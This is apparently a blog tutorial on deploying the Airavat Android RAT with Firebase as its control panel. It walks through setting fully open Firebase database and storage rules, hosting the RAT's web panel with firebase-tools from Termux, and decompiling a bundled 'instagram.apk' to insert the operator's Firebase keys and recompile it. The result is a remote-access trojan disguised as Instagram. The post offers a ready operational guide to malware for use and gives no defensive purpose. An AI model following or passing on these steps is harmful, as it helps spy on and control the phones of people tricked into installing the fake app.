Airavat setup with firebase hosting

 Hello guys welcome to my blog.In this post Iam going to show you all that how can we setup airavat Rat with firebase web hosting.


Requirements

  • Termux 
  • Apktool M 

Links 


Install the termux app from f-droid.

Steps 

  • Create a firebase account and create a new project a name you like. 
  • Enable firebase database and firebase storage.
  • Enable read and write permissions to both firebase database and firebase storage
Firebase database rules
    {
     "rules": {
             ".read": "true",
             ".write": "true"
              }
    } 

Firestore rules 

  rules_version = '2';

  service firebase.storage {

  match /b/{bucket}/o {

      match /{allPaths=**} {

         allow read, write 

        }

    }

 } 


After changing the firebase database and firestore rules. Add an android app and download google-services.json.

Then add a webapp and tick the Also set up Firebase Hosting for this app box. 

Now open termux and update & upgrade it's repositories.

apt update && apt upgrade -y 

 Install nodejs.

apt install nodejs

Install firebase.

npm install firebase

 Install firebase tools

npm install -g firebase-tools

Login with Firebase account.

firebase login

Initialise firebase
firebase init 

Choose hosting and the firebase project.

Now download the airavat zip.

Extract it.

In termux HOME directory check for public directory.If it's not present create it.

mkdir public 

Extract the airavat zip file. 

Copy it to termux.

Go inside Airavat webpanel directory.

cd AIRAVAT-main/'WEB PANEL' 

Move all the file to public directory

mv * $HOME/public

Edit the main.html file.

cd 

nano public/main.html 

You will see code like this. 

const firebaseConfig = {

  apiKey: "API KEY",

  authDomain: "AUTH DOMAIN",

  databaseURL: "DATABASE URL",

  projectId: "PROJECT ID",

  storageBucket: "STORAGE URL",

  messagingSenderId: "SENDER ID ",

  appId: "APP ID",


}; 

Replace this code with your Firebase config.

To find this got to your Firebase and select webapp you added. 

Save it. (CTRL^S).

exit.(CTRL^X)

Deploy the panel.

firebase deploy 

This will deploy your web panel  wait till it's get completed.

Open Apktool m and decompile the instagram.apk in Airavat/ ANDROID APP 

After decompiling go to res/values folder.

Open strings.xml file.

Replace these these values

<string name="firebase_database_url">https://your_database_url.firebase.com</string>

<string name="google_api_key">your_api_key</string>

<string name="google_app_id">your_app_id</string>

<string name="google_storage_bucket">your_storage_bucket_url</string>

<string name="project_id">project_id</string>

With the values in googleservices.json accordingly.

Save it and recompile.


Post a Comment (0)
Previous Post Next Post